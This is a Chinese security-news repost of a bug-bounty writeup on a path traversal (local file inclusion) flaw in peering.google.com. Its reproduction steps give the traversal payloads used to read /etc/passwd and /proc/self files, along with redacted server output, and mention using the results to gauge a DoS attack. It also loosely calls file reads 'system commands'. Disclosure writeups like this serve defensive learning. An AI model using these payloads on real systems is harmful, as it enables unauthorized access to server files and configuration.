欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

谷歌peering.google.com中的本地文件包含(LFI)漏洞

来源:本站整理 作者:佚名 时间:2019-09-10 TAG: 我要投稿


众所周知,本地文件包含漏洞(LFI)可以造成信息泄露甚至入侵系统,即使其中的包含代码不具备执行权限,但攻击者也可以从中获取一些深入渗透目标系统的有价值信息。该篇Writeup讲述的就是作者在谷歌某网络系统中发现的一个LFI漏洞,通过该漏洞可以获取到大量的系统运行和配置信息,存在严重的安全隐患,漏洞最终获得谷歌$3133的奖励。可见,大公司大厂商一样会以低级错误方式出现这种高危漏洞。
漏洞影响
peering.google.com,Google Edge network,是谷歌分布式服务器网络。其中存在LFI漏洞,可以通过它运行一些本地的系统命令,造成严重的信息泄露。
漏洞复现
访问 https://peering.google.com/;
然后访问该网站中的任意一张图片,如:
Open any picture in another window for example: “https://peering.google.com/static/images/couch-ipad.png
之后,在该图片链接末尾加入一些本地执行命令,如:
../../../../../../../etc/passwd       
        ../../../../../../../proc/self/cmdline       
        ../../../../../../../proc/self/stat       
        ../../../../../../../proc/self/status       
        ......
最终链接形如:
https://peering.google.com/static/images/couch-ipad.png../../../../../../../proc/self/cmdline
就是构造如此简单的链接打开方式,我们就能从中执行上述本地系统命令,获取到相应的系统运行和配置信息。
复现示例
如要获取系统服务器和内核信息,我们可以在上述图片链接末尾加上../../../../../../../proc/version,最终服务器响应回来的信息如下:
Linux version 3.*.* #1 SMP
如要获取服务器文件系统信息,我们可以在上述图片链接末尾加上../../../../../../../proc/self/cmdline,最终服务器响应回来的信息如下:
server_software=Google App Engine/1.*.*   
如要获取系统内网信息,我们可以在上述图片链接末尾加上../../../../../../../proc/self/net/,最终服务器响应回来的信息如下:
apihost_address=169.*.*.253:* /server_address=169.*.*.2:*   
如可以从../../../../../../../proc/self/stat中获取一些系统的运行部署环境,如:
(python27g_runti)   
另外,还可以从../../../../../../../proc/self/status中获得一些系统运行进程和承载能力的关键信息,为实施DoS攻击作出辅助评估:
FDSize: 11, VmSize: 1134532 kB, VmRSS: 134860 kB, Threads: 17   
视频验证PoC
(需要视频嵌入):https://www.youtube.com/watch?time_continue=47&v=khvwTKJqcsg
 

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载